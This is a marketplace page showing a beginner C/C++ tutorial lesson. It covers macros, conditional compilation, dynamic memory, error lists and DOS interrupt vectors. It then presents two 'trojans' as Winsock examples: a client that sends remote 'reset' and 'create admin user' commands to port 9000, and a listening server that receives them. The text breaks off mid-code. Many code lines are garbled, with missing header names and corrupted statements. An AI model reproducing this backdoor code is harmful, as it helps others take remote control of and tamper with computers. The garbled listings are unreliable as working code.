wei德辉

8基础九:杂七杂八(菜鸟编程教学9)

文档

0.8

已售 0
197.5KB

数据标识:D17207966261406140

发布时间:2024/07/12

卖家暂未授权典枢平台对该文件进行数据验证,您可以向卖家

申请验证报告

数据描述

目录
Content
Chapter_1
Chapter_1
这里我总结一下我以前学习c语言的杂七杂八的东西,有些程序为了方便起见我就用C++写了,所以大家尽量了解一下吧,希望对大家有所巩固,下一节我们开始研究指针问题,在这做个c语言基础的了结吧~~
1:define问题
//预处理命令
#include
using namespace std;
//举个例子:
#define max(a,b) (a)>(b)?(a)b)
void de()
{
int a,b,c,d,t;
cin>>a>>b>>c>>d;
t=max(a+b,c+d);
cout<<"赋值展开语句为:t = (a+b) > (c+d) ? (a+b) : (c+d) = "<cout<}
#undef max(a,b)
int main()
{
//(1)宏定义#define
//#define 标识符 字符串
//在调用后进行值的传达.
//如:#define size 1000
//int array[size];其宏定义的值在宏定义处到结尾为#undef 标识符 的地方都有效
//也可进行含参宏定义:#define s(r) pi*r*r
//如果有s(3.14),则有展开宏pi*3.14*3.14
cout<<"请输入a,b,c,d四个值:"<<'\n';
de();
getchar();
getchar();
return 0;
}
//经典的头文件
//预处理命令文件包含
//文件包含其实就是将你做的文件包含在其他程序中以便引用
//比如定义一个宏定义的头文件把它保存为format.c
//则在下次编译时就可以引用此文件,名字也可以写成头文件格式为format.h
//如:
#include
#define PR printf
#define NL "\n"
#define D "%d"
#define D1 D NL
#define D2 D D NL
#define D3 D D D NL
#define D4 D D D D NL
#define S "%s"
//将其保存为format.h下次编写程序时就可以引用
//为:#include
//一般为#include"format.h"看保存的位置了
//好了,这个文件可以用于C源头文件的引用了...
//条件编译的
//满足条件时才进行编译,不多说了格式为:
//#ifdef 标识符
//程序段1
//#else
//程序段2
//#endif
#include "format.h"
int main()
{
int a,b,c,d;
char string[]="china";
a=1,b=2,c=3,d=4;
PR(D1,a);
PR(D2,a,b);
PR(D3,a,b,c);
PR(D4,a,b,c,d);
PR(S,string);
PR(NL);
getchar();
return 0;
}
//条件编译
#include
#include
using namespace std;
//#ifdef 标识符
//程序段1
//#else
//程序段2
//#endif
//**********如果标识符被定义则执行程序段1,否则执行程序段2************
//#ifndef 标识符
//程序段1
//#else
//程序段2
//#endif
//*********如果标识符未被定义,则执行程序段2,否则执行程序段1*********
//********************************************************************
//列入:#ifdef run
//printf("x=%d,y=%d\n",x,y);
//#endif
//如果在此之前定义#define run,则输出,否则不输出,在调试过程中有用到
//********************************************************************
/*编译可以减少编译语句,从而使编译方便。举个例子*/
#define lap
int main()
{
char a[20];
gets(a);
#ifdef lap
cout<puts(a);
#else
cout<<"无输出"<<'\n';
cout<#endif
getchar();
return 0;
}
//你可以自行把#define段落注释掉...
2:开辟内存
#include
using namespace std;
struct student
{
string name;
int num;
char sex;
};
int main()
{
student *p;
p=new student;//主要在这里定义内存
p->name="wangfang";
p->num=21;
p->sex='m';
cout<name<num<sex<delete p;//记得删除
_sleep(10000);
return 0;
}
3:简单的输出errorlist
#include
#include
int main (void)
{
int error;
for (error = 0; error < sys_nerr; error++)
printf("Error %d %s\n", error, sys_errlist[error]);
getchar();
return 0;
}
4:引用dos头文件输出所有寄存器,这个头文件需要专门讲解!
#include
#include
#include
int main()
{
int i;
for(i=0;i<=255;i++)
printf("Interrupt: %x Vector: %lx\n",i,_dos_getvect(i));
system("pause");
return 0;
}
最后介绍两个很好的木马,这两个木马来源:网络!这个事winsock编程,网络编程我不想讲解太多,因为我讲解的方向是引入底层,所以这里举两个例子给大家了解一下就可以,有兴趣这方面编程的可以自己去网上了解winsock程序设计
//这是头文件1
// stdafx.h : include file for standard system include files,
// or project specific include files that are used frequently, but
// are changed infrequently
//
#if !defined(AFX_STDAFX_H__0F093569_626E_43A4_B2BE_A25C8EB9F6D5__INCLUDED_)
#define AFX_STDAFX_H__0F093569_626E_43A4_B2BE_A25C8EB9F6D5__INCLUDED_
#if _MSC_VER > 1000
#pragma once
#endif // _MSC_VER > 1000
// TODO: reference additional headers your program requires here
//{{AFX_INSERT_LOCATION}}
// Microsoft Visual C++ will insert additional declarations immediately before the previous line.
#endif // !defined(AFX_STDAFX_H__0F093569_626E_43A4_B2BE_A25C8EB9F6D5__INCLUDED_)
//这是client文件
// Client.cpp : Defines the entry point for the console application.
#include "stdafx.h"
#include
#include
#pragma comment(lib,"ws2_32.lib")
int main(int argc,char *argv[])
{
WSADATA wsa;
SOCKET sockFD;
WSAStartup(MAKEWORD(2,2),&wsa);
sockFD = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);
struct sockaddr_in server;
server.sin_family = AF_INET;
server.sin_port = htons(9000);
server.sin_addr.s_addr=inet_addr("127.0.0.1");
int err=connect(sockFD,(struct sockaddr *)&server,sizeof(server));
if (err <0)
{
printf("\r\nConnect error!");
return -1;
}
else
{
int command=0;
char command1[6]="reset",command2[6]="aduse";
printf("Connect is ok\n");
printf("please input command:\n");
printf("\n\r 1- Reset computer");
printf("\n\r 2- Create a Admin User");
printf("\n\r 3- Exit\n");
printf("\n-------Please input Number:");
command=getchar();
switch (command)
{
case '1':
send(sockFD,command1,strlen(command1),0);
break;
case '2':
send(sockFD,command2,strlen(command2),0);
break;
case '3': break;
}
}
closesocket(sockFD);
WSACleanup();
return 0;
}
//这是头文件2
// stdafx.h : include file for standard system include files,
// or project specific include files that are used frequently, but
// are changed infrequently
//
#if !defined(AFX_STDAFX_H__9F7FAF97_23F0_4DB4_BE6F_E3C3DF8B0A1A__INCLUDED_)
#define AFX_STDAFX_H__9F7FAF97_23F0_4DB4_BE6F_E3C3DF8B0A1A__INCLUDED_
#if _MSC_VER > 1000
#pragma once
#endif // _MSC_VER > 1000
// TODO: reference additional headers your program requires here
//{{AFX_INSERT_LOCATION}}
// Microsoft Visual C++ will insert additional declarations immediately before the previous line.
#endif // !defined(AFX_STDAFX_H__9F7FAF97_23F0_4DB4_BE6F_E3C3DF8B0A1A__INCLUDED_)
//这是server.cpp
// Server.cpp : Defines the entry point for the console application.
#include "stdafx.h"
#include
#include
#include
#pragma comment(lib,"ws2_32.lib")
BOOL reg(char *szExecFile);
char Buff[2048];
int main(int argc,char argv[])
{
WSADATA wsa;
SOCKET listenFD;
WSAStartup(MAKEWORD(2,2),&wsa);
listenFD = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);
struct sockaddr_in server;
server.sin_family = AF_INET;
server.sin_port = htons(9000);
server.sin_addr.s_addr=ADDR_ANY;
bind(listenFD,(sockaddr *)&server,sizeof(server));
printf("\nBind is ok!");
listen(listenFD,2);
printf("\nListen is Ok!");
int iAddrSize = sizeof(server);
SOCKET clientFD=accept(listenFD,(sockaddr *)&server,&iAddrSize);
printf("\n Accept a connect in ");
recv(clientFD,Buff,1024,0);
int i=strcmp(Buff,"reset");
if (i =0)
{
WinE
data icon
8基础九:杂七杂八(菜鸟编程教学9)
0.8
已售 0
197.5KB
申请报告